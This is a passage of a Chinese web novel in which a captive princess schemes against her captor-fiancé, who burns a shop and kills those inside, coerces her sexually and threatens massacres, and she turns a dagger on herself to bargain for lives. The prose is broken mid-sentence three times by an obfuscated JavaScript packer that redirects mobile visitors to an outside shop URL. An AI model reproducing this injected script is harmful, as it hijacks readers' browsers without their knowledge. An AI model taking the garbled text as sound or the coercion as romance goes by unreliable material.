在纯懿又一次将喜婆噎得无话可说时,延陵宗隐终于忍不住了。他长腿一迈,大步朝着纯懿走去,衣袍在他身侧翻飞,携带着猎猎的凉气和怒意。刚一走到纯懿面前,延陵宗隐一根手指就直直指向纯懿,带着十足的威胁和压迫,无声地要她闭嘴。 可当他微微俯身,看到只堪堪到他肩膀的纯懿昂起小巧的下巴,漂亮的眸中带着挑衅,洋洋得意耍小性子的时候,延陵宗隐竟然只觉得,面前这般吹毛求疵的纯懿是他之前从未见过的活泼样子,这种要命的可爱让他的满腔怒意就莫名消散了大半,心中只剩下无奈。 立在她面前的一根手指就变成伸展的大掌,揽在纯懿后脑,稍微用了些力道揉乱她的头发。延陵宗隐叹气:“这些先收着,不喜欢的,我后面再改。” 纯懿没想到,延陵宗隐的脾气竟然这么好了。她半是挑衅半是试探,故意得寸进尺:“这些东西就是做得再精致,也没什么新意。你根本就没有用心。” 延陵宗隐被她气笑了,下颌微扬,挑眉道:“哦?那怎么才算用心?” “听说你已经与南庆使臣签订了盟约?”纯懿直截了当的,“既然如此,干脆就让仍然滞留在虞娄的庆人随着使臣一起回去吧。怎么样,这个主意足够有新意吧?” 延陵宗隐没想到纯懿竟然会提起这个。他沉下脸,声音也冷了下来:“你又想干什么?” “放了人质啊。”纯懿倒是回答的很理所当然,坦坦荡荡回望着延陵宗隐的眼眸,“我怕我哪天又惹怒你,你手里攥着这么多人质来要挟我,那就不好了。好不容易现在趁着有机会,能放走几个就放走几个。你说呢?” 延陵宗隐自然猜得到纯懿打的是什么主意。不过他以为,纯懿一定还用一些冠冕堂皇的话来骗他,却没想到,她竟然如此坦诚。 可正如纯懿所说,那些庆人都是他的人质,就算不是人质,也已经是虞娄的奴隶,他自然不能轻易放了他们。微一怔愣,延陵宗隐刚想断然拒绝,纯懿却抢在他前面开口:“在大庆,为了祈求婚姻圆满顺利,新人都要放生鸟雀鱼龟的。可你双手沾满血腥,背了满身人命,鸟雀鱼龟估计化解不了你的孽债,给这么多人一条生路,上天说不定还能多垂怜你一分。” 提到这个,延陵宗隐就沉默了。他定定看着纯懿,眸子黑若深潭,内里席卷着惊涛骇浪,外表却仍是平静淡然。 许久之后,他才开口,说的却是:“南庆使臣已经离开,你已经没有倚仗,只剩下软肋,尽数被我握在手中。” “收下聘礼,等待婚仪,安分待在我身边,为我生儿育女,这是你唯一的路。”延陵宗隐大掌轻轻抚过纯懿的脸颊,带着厚茧的手指在她柔嫩的唇瓣上摩挲,话语称得上温情,神情却透着狠厉,赌咒一般,“你若是不想笑着走,哭着也无妨。我不在乎。” 101. 第 101 章 聘礼之后就是财礼。与需要耗费心神筹备的定礼、聘礼不同,财礼只需要根据情况备上厚厚的银子,再加送一些彩缎、酒果、茶饼之类的小东西,也就可以了。 纯懿本以为,以延陵宗隐在推进婚仪这件事上的急切风格,想必很快就要带着财礼来下定了,可却没想到,他这次却放慢了步调,竟然将下财礼的时间定在了将近一月之后。 “锭子成色都不太好,形状也不精致,”延陵宗隐轻描淡写地将一本小折册推给纯懿,颔首示意道,“翻翻看,喜欢什么样子?” 这辈子竟然还能从向来粗犷的延陵宗隐口中听到“不精致”三字,纯懿竟有些晃神,看他坐在她身边,一手抵着茶托,另一手轻扶茶盏,只抿了一小口茶汤便又放下,杯盏没发出一点碰撞之声,与以前大口牛饮的情形迥然不同,竟然已经很有一些大庆士族子弟的风范。 延陵宗隐抬眸,对上纯懿望来的复杂神情,微一挑眉:“不想选?” 明明是很简单的三个字,却被延陵宗隐说得像是带上了金戈铁马的肃杀一般,仿佛她若敢回答一个“是”,他下一刻便会立刻按着她脑袋让她“想选”似的。 温润的士族公子气质顿时烟消云散,还是那个粗糙强硬的虞娄汉子。 在这种事情上反抗也没什么意义,纯懿将那本小册子拿过来,垂下眉眼翻开细看。 册子里面画着许多金银锭子的样子,并不是常见的马蹄状或是饼状条状,而是什么双鱼团抱、缠心环、牡丹花、小狮小虎,大多都带着吉祥的寓意,其中最显眼的是双喜字,单独占了一整页,旁边还画了一个小小的红圈,显然是已经有人看中了。 纯懿又看延陵宗隐一眼,他正视线灼灼盯着她的脸。见她抬眸,他便很是自然地提起放在旁边的笔,递到纯懿面前,对她挑眉示意。 纯懿也没多说什么,从他手中接过笔,随意勾了几个看着顺眼一些的图样,最后,将笔尖悬在那双喜图案之上,没有丝毫迟疑,轻轻勾了一个圈。 两个小红圈肩亲密地并肩挨在一起,落在延陵宗隐眼中,心里因着纯懿刚刚的迟疑而生起的不快就烟消云散。他唇边噙着浅淡的笑意,伸长胳膊将那小册子收回来,妥帖收回怀中,然后又嘉奖一般揉揉纯懿的发顶。 跳动的烛火下,纯懿精致的五官被蒙上一层橙色的光晕,让延陵宗隐久久难以迈出离开的脚步。他定定盯着纯懿,许久之后,忽然站起身来,两步就跨到纯懿身边,从后揽住她纤瘦的身体,让她靠在自己怀中: “财礼一过,我们的亲事就算定下来了,你就再也不能反悔,就是天王老子来了,也得承认你是我的女人。” 延陵宗隐本就身材高大,现在他站着,纯懿坐着,更显得小小一团缩在他怀里,整个人都被笼在他强健的身躯下,透着一种对比强烈却很是野性的美。 纯懿任由延陵宗隐的大掌在她胸前交握,轻笑:“那我现在反悔,还来得及吗?” 延陵宗隐手指微微紧缩。他双臂仍旧圈在纯懿肩头,缓缓绕到纯懿旁边,弯下膝盖,半跪于纯懿面前,视线与纯懿齐平,黑若深潭的眸子深深看进纯懿眼中。 然后,他微微摇头,声音低沉:“来不及了。” 纯懿就知道会是这样。她笑了笑,回看延陵宗隐棱角分明的英俊脸庞:“那你还问我做什么?” 延陵宗隐大掌轻抚上纯懿的脸颊,在她滑腻的肌肤上缓缓摩挲,神情依旧冷峻,视线却可以算得上缠绵:“乖。” 为了求个好彩头,延陵宗隐简直无所不用其极,他竟然还请了萨满巫师来府里,说要当面为他们占卜一个成亲的好日子出来。 那巫师身上披着长长的斗篷,脸上带着一副鬼面獠牙的巨大面具,只露出一双眼睛,赤脚站在院子中,看不出男女年纪。延陵宗隐揽着纯懿的肩膀缓缓而出,先将她送到一把已经泛着些黑色的高背银椅上,大掌在她肩头轻按,然后才走到旁边的银椅旁,与她并排坐下。 坐定之后,延陵宗隐微微颔首,示意道:“开始吧。” 那萨满巫师得了命令,深深行礼之后,便手持法器,伴着铮铮金属之声,绕着他们赤脚跳起傩舞。他的一双手像是老树皮一般,粗糙皲裂,血管凸起,皮和骨肉几乎分离,在身上轻轻擦过时,带来一阵酥麻的痛意,还突然将那张鬼面凑到纯懿面前,一双眼睛隔着面具上的两只大洞,探究般地看向她。 纯懿被他突然的凑近骤然吓了一跳,身子不由颤抖了一下。紧接着,一只掌心炙热的大手探了过来,只一只手就罩住了她摆在裙摆之上的双手,微用些力收拢五指,无声地安抚她。 那萨满巫师也看到了延陵宗隐的动作。他的一张鬼面顺着纯懿的胳膊滑下,就着他们交握的双手和延陵宗隐的手臂,一路凑到了延陵宗隐面前。 延陵宗隐黑眸幽深,不避不让,冷冷与她对视。 那萨满巫师似乎也被他的气势所压制,怔了一下之后,动作就有些僵硬,脚下踏着旋步离开,继续绕着他们舞动。许久之后,他才渐渐收势,站回了原处,又深深一礼。 法器铮铮之声消失了。延陵宗隐身子微倾,沉声问:“如何?” 那萨满巫师迟疑了一下才开口。他的嗓音粗噶,声调也古怪,说出的每一个字都带着“喝喝”的气音,却清晰落入纯懿和延陵宗隐耳中:“煞气遮挡,血雾弥漫,大凶啊,大凶。” 纯懿的面容依旧沉静。她微微侧脸,看向身旁的延陵宗隐。 延陵宗隐的脸色就不怎么好了。他本来就神情冷峻,现在薄唇紧抿,黑眸微眯,视线锋利如同鹰隼,身上煞气四溢。开口时,他一字一字很是缓慢,几乎是咬牙切齿地:“你说什么?” 在他阴鸷目光的注视下,那萨满巫师身子抖了抖,又深深一礼,再开口时,却依旧是那两句:“二位前景被煞气遮挡,眼前都是血雾弥漫,什么都看不清,是大凶无疑。” 死一般的沉默,整个院子没有一人敢出声,气氛接近凝滞。 不知过了多久,延陵宗隐才再次开口,这一次,他语气中裹挟的怒气和杀意,强烈到让人两股战战,几乎想要立时跪伏于地:“既然看不清前景,你又如何能断定是大凶?你又……凭什么断定大凶?” 说到最后几字时,他浑身戾气暴涨,像是一头被激怒的野兽,亮出了锋利的獠牙。 满院子静立的侍从顿时尽数下跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689812|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将头埋得低低的,连一眼都不敢抬。那萨满巫师也缓缓跪下,可直面着延陵宗隐的怒火,他却只是沉默着叩首,却没有一点儿要再出言转圜的意思。 延陵宗隐额上青筋直跳,浑身肌肉鼓起,眼看着就要按捺不住,起身将那萨满巫师砍杀当场。 紧绷着的局面里,却忽然传来一声轻笑。 纯懿站起了身。她的手仍被延陵宗隐牢牢握在手心,眼下因着他用力收紧,已经褪去了血色,泛出一道道指痕。她却浑然不觉,只看向延陵宗隐,柔声道:“都是说不准的事,何必生气?” 延陵宗隐抬眸。她就站在他身边,神情恬淡,眼神温和,如同一汪清泉,从他戾气横生的心头流过,轻易就抚平了他翻涌的暴虐。他还坐在银椅上,她站在他身边,少见地比他高出一截,延陵宗隐昂首仰望着她时,竟莫名有种委屈和想要依赖的冲动。 他也这样做了。延陵宗隐收紧手臂,就着交握的双手将纯懿拉到身边,双臂环住她的腰肢,粗硬的额发抵上她柔软的腹部,深嗅着她身上清甜的气息,沉默着一言不发。 而许多人的生死,就在他的一念之间。 天色昏暗时,那萨满巫师才脚步蹒跚着从延陵宗隐府中离开。第三日,延陵宗隐突然宣布,所有他领地之上的庆人,可以随时通过与南庆接壤的边城抵达燕京,任何人不得阻拦。 举朝哗然。 延陵宗隐这道毫无征兆的公令,虽然名义上只涉及他自己领地内的庆人,并不干涉其他大小领主,大家也没办法说些什么,可不知是有意还是疏忽,他却并没有阻止庆人在虞娄境内流动。 也就是说,虞娄境内的大庆人,只要可以到达他延陵宗隐的领地,都可以通过他的地界作为中转,离开虞娄,回到南庆去。 自景康二年大庆灭亡之后,大批庆人被迫北迁,陷落在虞娄境内已经将近三年。此公令一出,早想南归的大庆人终于见到了回家的希望,连一刻都不愿再等,纷纷出发离境。 延陵宗隐掌控下的虞娄边城,荷甲持刀的魁梧兵士威风凛凛守在城门两侧,沉默地看着扶老携幼的大庆人带着满身风尘,穿过长长的马道,踏出城门,奔赴自己的归程。 而与此同时,上京城内,纯懿将一个沉甸甸的袋子递给面前的人,真诚道:“多谢。” 一只粗糙的、老树皮一般的手接过了那袋子。卸去长袍和面具的萨满巫师头发花白,身材瘦小,看起来只是一个再普通不过的中年妇人。她接过那袋金子,对着纯懿深深躬身,纯懿微笑颔首,转身就要离开。 萨满巫师却忽然喊住了她。 纯懿停下脚步,有些惊诧地回过头,却见那妇人看着她一脸犹豫,双唇几度开合,却一直难以出言。 犹豫了一会儿之后,她才似下定决心一般,声音粗哑道:“我那日说的话,并不全是因为您的嘱托。” 纯懿扬眉,等着她的下文。 萨满巫师看着面前纯懿鲜妍的脸庞,眼中不由就浮出叹息:“煞气遮挡,血雾弥漫,你们二人的前景,是真的不详,大凶。” 纯懿微怔,只出神一瞬,然后就混不在意地点头,微笑道:“我知道了。多谢。” 102. 第 102 章 自延陵宗隐宣布了那条允许庆人南归的公令之后,大批滞留在虞娄的普通庆人通过他的领地进入南庆燕京,就连很多已经被迫重新嫁人的宗姬或是王妃也都纷纷心动。有那胆子大一些的,就偷偷去找延陵宗隐,见面就跪在他面前,哀求他出手帮忙,让自己也能回到故国去。 延陵宗隐冷着一张脸一言不发,陌然看着这些尊贵的娘子在他面前痛哭流涕,然后将她们尽数赶出了府。 可过不久,这些娘子或被突然赎身,或有旁人看上之后被主家转送,甚至有的干脆“暴毙”,消失在上京城中。然后在不久之后,虞娄边城,总是都能出现一个样貌体态都很相似的娘子,蒙着面只露出一双眼睛,步伐匆匆踏上故土。 进入南庆的第一站,她们总是会选择前往燕京海云寺,在正院的两棵柳树上挂上一条祈愿的红绳,然后在海云寺大师父永愿的诵经声中,对着北方许下一个姻缘美满的期盼。 在她们的带动下,到了后来,不仅所有从虞娄南归的庆人都会去海云寺挂上一条红绳,就连燕京本地甚至整个南庆的信众都愿意前往海云寺,求姻缘美满、求婚事顺遂。海云寺的香火鼎盛更甚往昔,成为南庆和虞娄都极有声名的祈愿大寺,院中两棵老柳树上,红绳满系,随风飘舞,成为燕京一景。 可在虞娄王族和大小领主们看来,什么祈愿,什么南归,统统都是不知所谓。他们只是看着自己领地上日益减少的庆人奴隶,看着收上来一月比一月缩减的税供,怒气也日渐高涨。 尤其是后来,这股离境之风不仅没有消减,反而愈演愈烈,甚至就连虞娄王族和高官家中都发生了好几起姬妾侍婢出逃南奔的案例。他们终于忍不了了,向虞娄大王告状的奏本雪片一般飞上案头,几乎要压塌那张豪华的王案。 虞娄大王早就知道了这件事,甚至其实比他们更早就忍耐不住,将延陵宗隐喊进了宫去,大骂他一顿,要求他撤回这道莫名其妙的公令。 可延陵宗隐是什么人,他从来是只做自己想做的事,根本不在乎别人的指点斥责,更不会因为旁人的要求改变心意,哪怕这个人是他的父王,虞娄最尊贵的人。 他态度明确,坚决不肯。 父子两人从沉默对峙到互相嘲讽,然后大吵一架,最后几乎动起手来,要挟恐吓、拔刀相对,纷纷上阵,惹得虞娄大王的病况又沉重了几分,延陵宗隐却头也不回、撒手而去。 虞娄大王拿延陵宗隐没有办法,无奈之下,只能严令手下看好五国城的二帝及宗室旧臣,绝对不能让他们流窜到延陵宗隐的领地,逃回南庆去。 不过,这一点倒是虞娄大王多心了,延陵宗隐同意放大庆人离开,这里面却绝不包括纯懿的父兄。他将一切能牵绊住纯懿脚步的人都紧攥在手里,甚至还暗中提升了对纯懿的监视程度,就连在因着虞娄大王病重,众位王子们暗戳戳的夺位之争渐渐摆在了明面上的关键阶段,他也没有丝毫放松。 纯懿和嘉荣坐在一起,两人一边一起插花,一边对着各类花枝指指点点,含笑小声说着话。 “嘉荣姐姐,你也走吧。”纯懿对嘉荣道,“带上盼儿,回临安去。你只是一个公主,不必干涉政事,徐结会是个好兄长的。” 嘉荣手下动作微顿,然后,才重新调整叶片的位置,轻声拒绝:“不了。我要离开,比其他人更难,若是惹了延陵宗隐厌烦掐断了南归通道,就得不偿失了。更何况……” 她素手纤纤,一剪子剪断了手中花枝:“……大王那边还需要我。” 虞娄大王的什么还需要她,纯懿和嘉荣都心知肚明。 纯懿只觉得心中酸涩,还想试图说服嘉荣,反倒是嘉荣先收拾了心情开口:“这次得以南归,救了不少人的性命,圆了很多人的梦,真是多亏你了,纯懿。” 纯懿含笑摇头。嘉荣看着纯懿精致柔和的五官,忽然感叹:“这一次,为了这条公令,延陵宗隐扛了不少压力。现在正是夺位的关键时刻,许多人都抓着这一点大做文章,对他攻击鞭挞,给他添了不少麻烦。” 纯懿抿唇不语,只垂着头,安静摆弄着手上的花枝。 嘉荣不肯让纯懿这样逃避。她干脆直接开口:“我不知你们之间的纠葛,只是在旁边冷眼瞧着,他待你真是算得上用心,也确然改变了不少。纯懿,行动之后就再没有回头路了,你……真的要动手吗?” 真的要动手吗? 纯懿思绪飘忽开去,一张张熟悉的脸、一幕幕曾经的画面在眼前飞快掠过。 快言快语的显德帝姬死不瞑目,活泼可爱的恺之埋骨异乡,少年意气的陆双昂现在形销骨立,笑容甜美的永嘉宗姬永远葬身海底,还有景康二年连天的大火,凄惨死去的那么多人,被侮辱自尽的娘子,被掳掠到异国的同胞,荒废的汴京,五国城的父兄…… 她与延陵宗隐之间,从来不是只关于他们两个人。他们之间隔着的,是极尽惨烈的过往,悲痛到她永远都在梦中战栗。 纯懿回过神,将心中泛起的几丝涟漪压下,低低道:“嗯。” 纯懿送嘉荣离开时,嘉荣热情邀请她一起共进晚饭。今日延陵宗隐在宫中忙碌,早已托人回来告诉纯懿,让她自己吃饭,不必等他,纯懿便爽快应承下来,在嘉荣帝姬的带领下,到了一家名叫“红白食楼”的饭庄。 两人携手而入二楼的雅室,然后纯懿通过一道隐蔽的楼梯,悄无声息来到了楼下,见到了那位传说中的蒙古王子。 蒙古王子转过身,在看清对方的样貌时,他与纯懿却都是一愣。 纯懿唤他:“巴图格勒。” 巴图格勒也笑,对着纯懿微微躬身:“竟然是你,美丽的萨日朗姑娘。” 曾经来过虞娄的蒙古使臣,摇身一变成了蒙古王子,纯懿看着眼前不再收敛浑身傲气的男人,还有什么不明白的。 她微笑颔首:“原来,表面上是我们南庆来寻蒙古合作,实际上,却正好中了你们下怀。” 巴图格勒耸耸肩,语气轻快:“原来,延陵宗隐放在心尖尖上的女人,实际上,却是费尽心思要置他于死地的人。” 纯懿也懒得纠正巴图格勒的说法。延陵宗隐派来的人就在楼上雅室外面守着,她时间有限,得速战速决:“既然如此,王子殿下应该对我、对我们的合作更有信心了,不是吗?” 巴图格勒抬眸,仔细打量着纯懿的脸,纯懿微笑着,不闪不避与他对视。许久之后,巴图格勒忽然长叹一声:“我还是不敢相信,背后的那个人是你。他对你不错,你真能下得去手?” 今日,他已经是第二个这么问的人了。 纯懿没有回答他的问题。她脸上神情不变,噙着笑意伸出右手,掌心侧立,五指伸展,悬于巴图格勒面前。 巴图格勒看看面前这只白嫩纤细的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702859|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,又看看纯懿精致动人的五官,忽然朗声笑了。 笑完了,他也伸出右手,与纯懿的手有力交握。 “果然,美丽的东西都是有毒的。纯懿帝姬,感谢你又教会我一课。”巴图格勒微微侧头,挑眉道,“合作愉快。” 离开红白食楼时,纯懿与嘉荣帝姬在门口分开。天色已经暗沉下来,纯懿独自坐在行驶平稳的马车里,嘉荣和巴图格勒的脸交替在面前闪现。 “纯懿,行动之后就再没有回头路了,你……真的要动手吗?” “他对你不错,你真能下得去手?” 如果计划顺利实施,虞娄分裂,延陵宗隐必然没有好下场。不说纯懿自己,就是对他恨之入骨的陆双昂,也一定会拼尽全力杀了他。纯懿不是察觉不到延陵宗隐的改变,更不是感受不到延陵宗隐有些笨拙的讨好,可理智总在唾骂她的心软,唾骂她就如延陵宗隐所说的,有些愚蠢的善良。 一直到踏入卧房,躺在床上,纯懿仍然心乱如麻,如何都睡不着。翻来覆去到半夜,忽然,外面传来一阵沉稳的脚步声,紧接着,就是塞里的通传:“娘子,郎主回来了,请您出去见一面,他有话要说。” 纯懿本来就心中烦乱,格外不想在这个时候见到延陵宗隐。听闻延陵宗隐就在外面,她便不出声,假装自己已经睡着了。 可没一会儿,一道低沉的男声就从门口传来,裹挟着夜晚的寒意,听着让人想打哆嗦:“我知道你没睡。出来。” 纯懿依旧不理。 延陵宗隐等了一会儿,耐心告罄,干脆直接推门就进了屋。纯懿惊得坐起了身,半惊半怒:“我锁了门的,你怎么……” 延陵宗隐身上的衣裳都是凉的,带着一身寒气大步走到床边,一点儿都不讲究地坐在床沿,嗤笑:“就那么点东西,还能拦得住我?” 纯懿无言。她没想到延陵宗隐会闯进来,现在身上只穿着单薄的寝衣,便将被子拉到胸前,遮挡住隐约的春色:“怎么了?这么着急?” 延陵宗隐很是不屑地看着纯懿提防的神情,忽然伸出大掌,直接握上纯懿紧攥着被子的手,然后一个用力,便扯着她的手,将她拉到他的身前。 被子滑落,上身倾斜,纯懿的身子与延陵宗隐挨得极近,他的视线便毫无遮挡地落在纯懿身上,在她秀丽的锁骨和起伏的胸脯上辗转流连,眸子渐渐幽深,凸起的喉结也上下滚动着,握着纯懿的大掌越发用力,掌心更是炙热地仿佛烤了火般,在她的手上暧昧摩挲着。 纯懿又是羞又是恼,可怎么都挣脱不开延陵宗隐的桎梏,只能任由他大力将她五根手指一一分开,又将自己的手指一根根插入她的指缝中,与她十指紧紧相扣,不留一点儿缝隙。 纯懿愤愤看着延陵宗隐,双唇紧抿,胸膛起伏不定。 两人也勉强算得上是相互依偎。 不知过了多久,延陵宗隐忽然开口:“不问问我为什么今日回来这么迟吗?” 纯懿看着他,不说话。 延陵宗隐似乎也没打算等纯懿回答。他的嗓音低沉,明明是在陈述一件事实,语气中却带着些杀伐狠厉:“今晚,上京城里起了一场大火,店面是全都烧没了,里面的人,也一个都没能逃出来。” 他看着神情渐渐僵硬的纯懿,竟然唇角微勾,眼神中透着疯狂和明显的快意,一字一字问道:“宝珠衣铺,你熟吗?” 103. 第 103 章 一股凉意从纯懿心头窜起,顺着经脉,蔓延到她全身每一个角落,只觉就连浑身的血液都几乎冻结。她瞳仁控制不住地颤抖,双唇哆嗦着,嗫嚅许久,却失声一般,一个字都说不出来。 看她这般神情,延陵宗隐脸上的笑容更加畅快,甚至还将拇指抚上她颤抖失血的唇瓣,温柔地抚摸:“怎么这么害怕?那铺子你认识?” 一边说着,他手下的动作愈发加重,到了最后,甚至可以算得上是蹂躏,将她苍白的唇瓣捻在手心,肆意欺凌着,故作疑惑道:“我还以为你挂心的是另一个地方,我想想,叫什么来着……红白食楼?” 他对着她露出一个笑容来,五官英俊,线条分明,落在纯懿眼中,却仿佛幽冥旁嗜人的恶鬼。 纯懿猛然回过了神。她立刻推开延陵宗隐,趿上鞋子就跌跌撞撞要朝门口跑,可却被延陵宗隐拦腰抱住,一把就将她重新甩回床上。 延陵宗隐顺势欺身而上,沉重的身体压在纯懿身上,将她困在床榻与自己之间,毫无缝隙地紧密贴着,挑眉:“这么激动做什么?” 纯懿拼命挣扎,可她的那点力气在延陵宗隐面前,连看都不够看,除了换来他更加狠厉的禁锢之外,没有一点儿用处。 到了最后,纯懿两个纤细的腕子被延陵宗隐一手环握着压于头顶,两条腿也被他肌肉遒劲的大腿牢牢压制,整个人像是一尾脱水的鱼,间或能跃动一下,却被一张名唤延陵宗隐的大网铺天盖地的束缚其中。 她看着延陵宗隐幽深的黑眸,和报复之后的快意笑容,忽然冷笑:“你不是都猜到了,还问我做什么?” 延陵宗隐的笑容缓缓消失,取而代之的是紧绷的下颌和紧咬的牙关。他黑眸眯起,气势凌厉:“怎么不装了?不是演的很好吗?” “你放了火?”纯懿眼泪已经摇摇欲坠,语气从质问转为笃定陈述,“你烧了铺子,杀了他们。” 延陵宗隐挑眉:“不应该吗?” “你这个畜生!”纯懿的理智彻底崩溃,失控地怒喝,“你嗜血残忍,你毫无人性!” “人性?那是什么?”延陵宗隐冷笑,五官都有些狰狞,“畜生哪里来的人性?只是烧了你们一个铺子,已经是够念着你的感受了,若不然,这把火就该烧在五国城,烧的就是你的窝囊废父兄了!” 纯懿知道,延陵宗隐不是吓唬她,他什么都能做得出来。她双唇颤抖着,一双美眸含着眼泪,怒视着延陵宗隐,胸膛剧烈起伏,一下一下轻触着延陵宗隐的胸口,如蜻蜓点水一般,却轻易勾起了他的火气。 延陵宗隐已经很久没有碰过她了。他也想学着尊重她的意愿,想要她发自内心的顺从,所以,他多少次强忍着身体快要爆裂的渴求,只用一个根本不足以抚慰他的吻来饮鸩止渴。 然后她回报了他什么? 她还没放弃离开虞娄,她与南庆人暗中勾结,她又去见了那个陆双昂! 在他控制着自己不去碰她的时候,她是不是在与陆双昂抵死缠绵?他没有从她身上得到的极致的快乐,是不是尽数被她给了陆双昂? 想到这种可能,延陵宗隐只觉得心脏像是在被谁攥在手里狠狠揉捏,全身都似被蚂蚁啃噬着,连他自己都觉得自己现在一定面目丑陋。 可他控制不住自己。他大掌顺着纯懿的脸颊,一路向上滑过她的鬓角、眉眼,最后停留在她额间发际,用了些力道,将她散乱的额发尽数拨开,露出光洁的额头,然后俯下身子,与她耳鬓厮磨。 “伺候我。只要你让我满意,我可以当做之前什么都没有发生过。” 纯懿抬眸:“不。” 延陵宗隐扬眉。他看着纯懿,缓缓点头:“很狂啊。” 纯懿贝齿咬着下唇,在唇瓣上留下一排齿痕,倔强看着他,眸中似乎有火苗在跳动。 “很好。”延陵宗隐大掌抚着她的额发,唇边带着残忍的笑容,竟还征求她的意见,“那我们先从上京城开始?” 他略微等了一等,看纯懿依然不肯出声,心头怒极,忽然扬声道,“告诉食楼外面的人,可以动手了。” 延陵宗隐视线紧紧盯着纯懿,脸上带着野兽捕猎前嗜血的兴奋,句句阴狠,字字清晰:“一个,都不能逃。” 外面立刻有人应声。 悲痛,愤恨,无奈,复杂的情绪涌上纯懿的心头,让她的全身都控制不住地颤抖。听到外面已经传来军靴整齐的“踏踏”声,火把成排闪过,明亮的光点越来越远,纯懿终于忍不住了。 她闭了眸,忽然扬起脖子,冲着延陵宗隐的唇撞去。 纯懿的动作生疏,就连刻意讨好都不得章法,只会像一只小兽一样,胡乱地啃,间或不知是无心还是故意,尖利的牙齿咬住延陵宗隐的唇瓣,狠狠用力。 明明很是笨拙,更是一点儿都谈不上娇媚,可延陵宗隐就是觉得,她美得出奇,不管是颤抖着的纤长睫毛,还是眼角落下的那一颗眼泪,处处都能激起他的渴望。 延陵宗隐很是悠闲的享受着纯懿的迎合,可很快,这一点点甜头就不够填满他的欲壑。延陵宗隐渐渐反客为主,手上也越发用力,在她发间、脸颊四处揉抚,双唇也强悍攻入她的齿关,汲取着她口中的甜蜜。 纯懿不肯认输,发泄一般地在唇齿间与他对抗,却让这个吻从一个人的沉醉变成了两个人的缠绵。 两人的动作愈发激烈,屋内气氛也愈发火热。 延陵宗隐只觉得身体紧绷发疼。他骤然翻身,两只手掌铁钳一样掐着纯懿的腰肢,扶着她坐在自己身上,却还不忘她让他耿耿于怀的背叛,声音沙哑道:“你来。” 纯懿咬唇。她居高临下俯瞰着延陵宗隐,抖着手解开了他的衣衫。 延陵宗隐从未觉得如此酣畅淋漓。这一次的纯懿不仅是在承受,她还在努力给予,甚至是在生涩地向他索取。开始时,或许是纯懿在讨好他,到了后来,已经是延陵宗隐在取悦她,试图让她快乐。 “我是谁?”延陵宗隐一点儿都不留情,每一下都到最深处,喘息着逼问她,“阿陌,我是谁?” 纯懿已经在他一次又一次的进攻中神志涣散。她咬着牙,声音断断续续,却清清楚楚地道:“延陵宗隐。” “再说。” 纯懿双臂缠上他的脖颈,在他耳边重复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717800|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“延陵宗隐。你是延陵宗隐。” “再说。” “延陵宗隐你个混蛋!” 延陵宗隐紧紧揽着她柔软的身体,几乎要在她这里陷入疯狂时,忽然,寒芒一闪,一把冰凉的匕首抵住了他肌肉贲张的胸膛。 延陵宗隐垂眸看了眼纯懿握着匕首仍在颤抖的手,扯了扯唇,动作却没有丝毫停顿,反而更加用力,甚至还将手抚上她颊侧汗湿的发,仿佛那匕首不存在似的:“又想杀了我?” “不,”纯懿的嗓音沙哑,犹带着些哽咽开口,“我知道我杀不了你。但我可以杀了我自己。” 延陵宗隐嗤笑:“你不会的。” 他的话音未落,脸上的笑容便骤然僵硬。纯懿没有一点儿迟疑,反手将匕首狠狠刺向自己的胸膛。 就是延陵宗隐反应极快,也只来得及用自己的双手握住还没来得及刺进去的半截刀刃。纯懿动作非常干脆利落,朝着自己捅刀子也毫不手软,要不是延陵宗隐,这匕首就真会尽根没入她的胸膛。 延陵宗隐只觉浑身冰冷。他怒喝:“徐露陌!” 纯懿的脸上还带着刚刚从与他的欢愉中染上的红晕,下一刻就用自己的性命来要挟他,延陵宗隐两排后槽牙紧咬,简直恨不得干脆帮她将匕首直接捅进去,一了百了算了。 可无论如何咬牙都不忍心。延陵宗隐一边帮纯懿按压着伤口,一边厉声道:“用自己的性命来赌我会对你心软?阿陌,你不该是这么愚蠢的人。” 纯懿的确是在赌,可就是赌,也得先付些代价。她眼前已经开始模糊,喃喃开口:“我能怎么办呢?示弱,讨好,哄骗,欺瞒,借权施压,我全部都试过了,可是没有用。我只剩下最后这一个法子了。” “你的法子,就是以命相搏?”延陵宗隐冷笑,“你想要搏的,是什么?” “放过他们。”纯懿的声音越来越轻,“我会让他们离开上京,离开虞娄。你放过他们。” “我有什么好处?” “我的命,是你的了。” 